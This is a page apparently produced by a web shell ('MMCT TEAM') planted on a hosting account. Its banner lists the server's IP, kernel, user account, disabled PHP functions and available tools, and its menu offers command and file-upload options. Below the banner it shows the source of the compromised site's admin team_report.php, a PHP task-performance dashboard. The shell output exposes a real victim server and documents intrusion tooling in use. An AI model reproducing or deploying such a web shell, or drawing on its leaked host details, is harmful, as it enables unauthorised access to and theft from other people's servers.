MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/public_html/js/../pms/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/public_html/js/../pms/admin/team_report.php
<?php
session_start();

if (!isset($_SESSION['admin_id'])) {
    header("Location: login.php");
    exit;
}

// ADMIN/MANAGER ONLY ACCESS
if ($_SESSION['role'] === 'Employee') {
    header("Location: employee.php");
    exit;
}

require_once '../config/config.php';
require_once '../config/db.php';

$current_user_role = $_SESSION['role'] ?? 'Manager';
$current_user_id = $_SESSION['admin_id'];
$current_user_name = $_SESSION['user_name'] ?? 'Admin';

// Only CEO and Manager can view team reports
if ($current_user_role !== 'CEO' && $current_user_role !== 'Manager') {
    header("Location: dashboard.php");
    exit;
}

// ✅ FIXED: Get team performance data with corrected query using end_date
$team_query = "SELECT 
                u.uid,
                u.fname,
                u.email,
                u.role,
                u.created_at,
                COUNT(DISTINCT t.task_id) as total_tasks,
                SUM(CASE WHEN t.status = 'Completed' THEN 1 ELSE 0 END) as completed_tasks,
                SUM(CASE WHEN t.status = 'In Progress' THEN 1 ELSE 0 END) as in_progress_tasks,
                SUM(CASE WHEN t.status = 'Pending' THEN 1 ELSE 0 END) as pending_tasks,
                SUM(CASE WHEN DATEDIFF(t.end_date, CURDATE()) < 0 AND t.status != 'Completed' THEN 1 ELSE 0 END) as delayed_tasks
                FROM tbl_user u
                LEFT JOIN tbl_tasks t ON u.uid = t.employee_id
                WHERE u.status = 'active' AND u.role = 'Employee'
                GROUP BY u.uid, u.fname, u.email, u.role, u.created_at
                ORDER BY completed_tasks DESC, u.fname ASC";

$team_result = mysqli_query($con, $team_query);

if (!$team_result) {
    die("Query Error: " . mysqli_error($con));
}

// Calculate overall statistics
$total_employees = 0;
$total_all_tasks = 0;
$total_all_completed = 0;
$total_all_delayed = 0;

mysqli_data_seek($team_result, 0);
while ($member = mysqli_fetch_assoc($team_result)) {
    $total_employees++;
    $total_all_tasks += $member['total_tasks'];
    $total_all_completed += $member['completed_tasks'];
    $total_all_delayed += $member['delayed_tasks'];
}

// ✅ Get meeting counts separately
$meeting_counts = [];
$meetings_query = "SELECT m.attendees FROM tbl_meetings m";
$meetings_result = mysqli_query($con, $meetings_query);

if ($meetings_result) {
    while ($meeting = mysqli_fetch_assoc($meetings_result)) {
        $attendees = json_decode($meeting['attendees'], true);
        if (is_array($attendees)) {
            foreach ($attendees as $attendee_id) {
                if (!isset($meeting_counts[$attendee_id])) {
                    $meeting_counts[$attendee_id] = 0;
                }
                $meeting_counts[$attendee_id]++;
            }
        }
    }
}

mysqli_data_seek($team_result, 0);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <base href="../" />
    <title>Team Report - TDS Admin Hub</title>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inter:300,400,500,600,700" />
    <link href="assets/plugins/global/plugins.bundle.css" rel="stylesheet" type="text/css" />
    <link href="assets/css/style.bundle.css" rel="stylesheet" type="text/css" />
</head>

<body id="kt_app_body" data-kt-app-layout="dark-sidebar" data-kt-app-header-fixed="true" 
      data-kt-app-sidebar-enabled="true" data-kt-app-sidebar-fixed="true" 
      data-kt-app-sidebar-hoverable="true" data-kt-app-sidebar-push-header="true" 
      data-kt-app-sidebar-push-toolbar="true" data-kt-app-sidebar-push-footer="true" 
      data-kt-app-toolbar-enabled="true" class="app-default">
    
    <script>
        var defaultThemeMode = "light"; 
        var themeMode; 
        if (document.documentElement) { 
            if (document.documentElement.hasAttribute("data-bs-theme-mode")) { 
                themeMode = document.documentElement.getAttribute("data-bs-theme-mode"); 
            } else { 
                if (localStorage.getItem("data-bs-theme") !== null) { 
                    themeMode = localStorage.getItem("data-bs-theme"); 
                } else { 
                    themeMode = defaultThemeMode; 
                } 
            } 
            if (themeMode === "system") { 
                themeMode = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light"; 
            } 
            document.documentElement.setAttribute("data-bs-theme", themeMode); 
        }
    </script>
    
    <div class="d-flex flex-column flex-root app-root" id="kt_app_root">
        <div class="app-page flex-column flex-column-fluid" id="kt_app_page">
            
       <?php include 'includes/header.php'; ?>
            
            <div class="app-wrapper flex-column flex-row-fluid" id="kt_app_wrapper">
                
                <?php include 'includes/sidebar.php'; ?>
                
                <!-- Main Content -->
                <div class="app-main flex-column flex-row-fluid" id="kt_app_main">
                    <div class="d-flex flex-column flex-column-fluid">
                        
                        <div id="kt_app_toolbar" class="app-toolbar py-3 py-lg-6">
                            <div id="kt_app_toolbar_container" class="app-container container-xxl d-flex flex-stack">
                                <div class="page-title d-flex flex-column justify-content-center flex-wrap me-3">
                                    <h1 class="page-heading d-flex text-gray-900 fw-bold fs-3 flex-column my-0">
                                        Team Performance Report
                                    </h1>
                                    <ul class="breadcrumb breadcrumb-separatorless fw-semibold fs-7 my-0 pt-1">
                                        <li class="breadcrumb-item text-muted">
                                            <a href="admin/dashboard.php" class="text-muted text-hover-primary">Home</a>
                                        </li>
                                        <li class="breadcrumb-item">
                                            <span class="bullet bg-gray-500 w-5px h-2px"></span>
                                        </li>
                                        <li class="breadcrumb-item text-muted">Team Report</li>
                                    </ul>
                                </div>
                            </div>
                        </div>
                        
                        <div id="kt_app_content" class="app-content flex-column-fluid">
                            <div id="kt_app_content_container" class="app-container container-xxl">
                                
                                <!-- Overall Statistics -->
                                <div class="row g-5 g-xl-10 mb-5 mb-xl-10">
                                    
                                    <!-- Total Employees -->
                                    <div class="col-md-6 col-lg-6 col-xl-3">
                                        <div class="card card-flush mb-5 mb-xl-10">
                                            <div class="card-header pt-5">
                                                <div class="card-title d-flex flex-column">
                                                    <span class="fs-2hx fw-bold text-gray-900 me-2 lh-1 ls-n2"><?php echo $total_employees; ?></span>
                                                    <span class="text-gray-500 pt-1 fw-semibold fs-6">Team Members</span>
                                                </div>
                                            </div>
                                            <div class="card-body pt-2 pb-4 d-flex flex-wrap align-items-center">
                                                <div class="d-flex flex-column content-justify-center flex-row-fluid">
                                                    <span class="fs-6 fw-bolder text-gray-800 d-block mb-2">Active employees</span>
                                                    <div class="symbol-group symbol-hover flex-nowrap mt-3">
                                                        <div class="symbol symbol-35px symbol-circle">
                                                            <span class="symbol-label bg-info text-inverse-info fw-bold">
                                                                <i class="ki-duotone ki-people fs-4 text-white">
                                                                    <span class="path1"></span>
                                                                    <span class="path2"></span>
                                                                    <span class="path3"></span>
                                                                    <span class="path4"></span>
                                                                    <span class="path5"></span>
                                                                </i>
                                                            </span>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    
                                    <!-- Total Tasks -->
                                    <div class="col-md-6 col-lg-6 col-xl-3">
                                        <div class="card card-flush mb-5 mb-xl-10">
                                            <div class="card-header pt-5">
                                                <div class="card-title d-flex flex-column">
                                                    <span class="fs-2hx fw-bold text-primary me-2 lh-1 ls-n2"><?php echo $total_all_tasks; ?></span>
                                                    <span class="text-gray-500 pt-1 fw-semibold fs-6">Total Tasks</span>
                                                </div>
                                            </div>
                                            <div class="card-body pt-2 pb-4 d-flex flex-wrap align-items-center">
                                                <div class="d-flex flex-column content-justify-center flex-row-fluid">
                                                    <span class="fs-6 fw-bolder text-gray-800 d-block mb-2">All assigned tasks</span>
                                                    <div class="symbol-group symbol-hover flex-nowrap mt-3">
                                                        <div class="symbol symbol-35px symbol-circle">
                                                            <span class="symbol-label bg-primary text-inverse-primary fw-bold">
                                                                <i class="ki-duotone ki-notepad-edit fs-4 text-white">
                                                                    <span class="path1"></span>
                                                                    <span class="path2"></span>
                                                                </i>
                                                            </span>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    
                                    <!-- Completed Tasks -->
                                    <div class="col-md-6 col-lg-6 col-xl-3">
                                        <div class="card card-flush mb-5 mb-xl-10">
                                            <div class="card-header pt-5">
                                                <div class="card-title d-flex flex-column">
                                                    <span class="fs-2hx fw-bold text-success me-2 lh-1 ls-n2"><?php echo $total_all_completed; ?></span>
                                                    <span class="text-gray-500 pt-1 fw-semibold fs-6">Completed</span>
                                                </div>
                                            </div>
                                            <div class="card-body pt-2 pb-4 d-flex flex-wrap align-items-center">
                                                <div class="d-flex flex-column content-justify-center flex-row-fluid">
                                                    <span class="fs-6 fw-bolder text-gray-800 d-block mb-2">Successfully done</span>
                                                    <div class="symbol-group symbol-hover flex-nowrap mt-3">
                                                        <div class="symbol symbol-35px symbol-circle">
                                                            <span class="symbol-label bg-success text-inverse-success fw-bold">
                                                                <i class="ki-duotone ki-check-circle fs-4 text-white">
                                                                    <span class="path1"></span>
                                                                    <span class="path2"></span>
                                                                </i>
                                                            </span>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    
                                    <!-- Delayed Tasks -->
                                    <div class="col-md-6 col-lg-6 col-xl-3">
                                        <div class="card card-flush mb-5 mb-xl-10">
                                            <div class="card-header pt-5">
                                                <div class="card-title d-flex flex-column">
                                                    <span class="fs-2hx fw-bold text-danger me-2 lh-1 ls-n2"><?php echo $total_all_delayed; ?></span>
                                                    <span class="text-gray-500 pt-1 fw-semibold fs-6">Delayed</span>
                                                </div>
                                            </div>
                                            <div class="card-body pt-2 pb-4 d-flex flex-wrap align-items-center">
                                                <div class="d-flex flex-column content-justify-center flex-row-fluid">
                                                    <span class="fs-6 fw-bolder text-gray-800 d-block mb-2">Overdue tasks</span>
                                                    <div class="symbol-group symbol-hover flex-nowrap mt-3">
                                                        <div class="symbol symbol-35px symbol-circle">
                                                            <span class="symbol-label bg-danger text-inverse-danger fw-bold">
                                                                <i class="ki-duotone ki-information-3 fs-4 text-white">
                                                                    <span class="path1"></span>
                                                                    <span class="path2"></span>
                                                                    <span class="path3"></span>
                                                                </i>
                                                            </span>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    
                                </div>
                                
                                <!-- Team Members Table -->
                                <div class="card">
                                    <div class="card-header border-0 pt-6">
                                        <div class="card-title">
                                            <div class="d-flex align-items-center position-relative my-1">
                                                <i class="ki-duotone ki-magnifier fs-3 position-absolute ms-5">
                                                    <span class="path1"></span>
                                                    <span class="path2"></span>
                                                </i>
                                                <input type="text" id="searchTeam" 
                                                       class="form-control form-control-solid w-250px ps-13" 
                                                       placeholder="Search team members..." />
                                            </div>
                                        </div>
                                    </div>
                                    
                                    <div class="card-body py-4">
                                        <table class="table align-middle table-row-dashed fs-6 gy-5" id="teamTable">
                                            <thead>
                                                <tr class="text-start text-muted fw-bold fs-7 text-uppercase gs-0">
                                                    <th class="min-w-200px">Employee</th>
                                                    <th class="min-w-100px">Total Tasks</th>
                                                    <th class="min-w-100px">Completed</th>
                                                    <th class="min-w-100px">In Progress</th>
                                                    <th class="min-w-100px">Pending</th>
                                                    <th class="min-w-100px">Delayed</th>
                                                    <th class="min-w-100px">Meetings</th>
                                                    <th class="min-w-125px">Completion Rate</th>
                                                    <th class="text-end min-w-100px">Actions</th>
                                                </tr>
                                            </thead>
                                           <tbody class="text-gray-600 fw-semibold">
    <?php while ($member = mysqli_fetch_assoc($team_result)): 
        $completion_rate = $member['total_tasks'] > 0 ? 
            round(($member['completed_tasks'] / $member['total_tasks']) * 100) : 0;
        
        $rate_color = $completion_rate >= 80 ? 'success' : 
                     ($completion_rate >= 50 ? 'warning' : 'danger');
        
        // ✅ Get meeting count for this employee
        $total_meetings = isset($meeting_counts[$member['uid']]) ? $meeting_counts[$member['uid']] : 0;
    ?>
    <tr>
        <td>
            <div class="d-flex align-items-center">
                <div class="symbol symbol-circle symbol-40px overflow-hidden me-3">
                    <div class="symbol-label fs-3 bg-light-primary text-primary">
                        <?php echo strtoupper(substr($member['fname'], 0, 1)); ?>
                    </div>
                </div>
                <div class="d-flex flex-column">
                    <span class="text-gray-800 fw-bold mb-1">
                        <?php echo htmlspecialchars($member['fname']); ?>
                    </span>
                    <span class="text-muted fs-7">
                        <?php echo htmlspecialchars($member['email']); ?>
                    </span>
                </div>
            </div>
        </td>
        <td>
            <span class="badge badge-light-primary fs-7 fw-bold">
                <?php echo $member['total_tasks']; ?>
            </span>
        </td>
        <td>
            <span class="badge badge-light-success fs-7 fw-bold">
                <?php echo $member['completed_tasks']; ?>
            </span>
        </td>
        <td>
            <span class="badge badge-light-info fs-7 fw-bold">
                <?php echo $member['in_progress_tasks']; ?>
            </span>
        </td>
        <td>
            <span class="badge badge-light-warning fs-7 fw-bold">
                <?php echo $member['pending_tasks']; ?>
            </span>
        </td>
        <td>
            <span class="badge badge-light-danger fs-7 fw-bold">
                <?php echo $member['delayed_tasks']; ?>
            </span>
        </td>
        <td>
            <span class="badge badge-light-secondary fs-7 fw-bold">
                <?php echo $total_meetings; ?>
            </span>
        </td>
        <td>
            <div class="d-flex flex-column w-100">
                <div class="d-flex justify-content-between mb-1">
                    <span class="text-muted fs-7 fw-bold"><?php echo $completion_rate; ?>%</span>
                </div>
                <div class="progress h-6px w-100">
                    <div class="progress-bar bg-<?php echo $rate_color; ?>" 
                         role="progressbar" 
                         style="width: <?php echo $completion_rate; ?>%" 
                         aria-valuenow="<?php echo $completion_rate; ?>" 
                         aria-valuemin="0" 
                         aria-valuemax="100"></div>
                </div>
            </div>
        </td>
        <td class="text-end">
            <a href="admin/employee_details.php?id=<?php echo $member['uid']; ?>" 
               class="btn btn-icon btn-light btn-active-light-primary btn-sm">
                <i class="ki-duotone ki-eye fs-3">
                    <span class="path1"></span>
                    <span class="path2"></span>
                    <span class="path3"></span>
                </i>
            </a>
        </td>
    </tr>
    <?php endwhile; ?>
</tbody>
                                        </table>
                                    </div>
                                </div>
                                
                            </div>
                        </div>
                        
                    </div>
                    
                    <div id="kt_app_footer" class="app-footer">
                        <div class="app-container container-fluid d-flex flex-column flex-md-row flex-center flex-md-stack py-3">
                            <div class="text-gray-900 order-2 order-md-1">
                                <span class="text-muted fw-semibold me-1">2024&copy;</span>
                                <a href="https://thedotstudios.com/" target="_blank" class="text-gray-800 text-hover-primary">
                                    Copyright All rights reserved | Made with <span class="fa fa-heart text-danger"></span> 
                                    <b>by TheDotStudios.</b>
                                </a>
                            </div>
                        </div>
                    </div>
                    
                </div>
            </div>
        </div>
    </div>
    
    <!-- Scripts -->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script src="assets/plugins/global/plugins.bundle.js"></script>
    <script src="assets/js/scripts.bundle.js"></script>
    
    <script>
    document.getElementById('searchTeam').addEventListener('keyup', function() {
        const searchValue = this.value.toLowerCase();
        const tableRows = document.querySelectorAll('#teamTable tbody tr');
        
        tableRows.forEach(row => {
            const text = row.textContent.toLowerCase();
            row.style.display = text.includes(searchValue) ? '' : 'none';
        });
    });
    </script>
    <?php include 'includes/chat_widget.php'; ?>
</body>
</html>

MMCT - 2023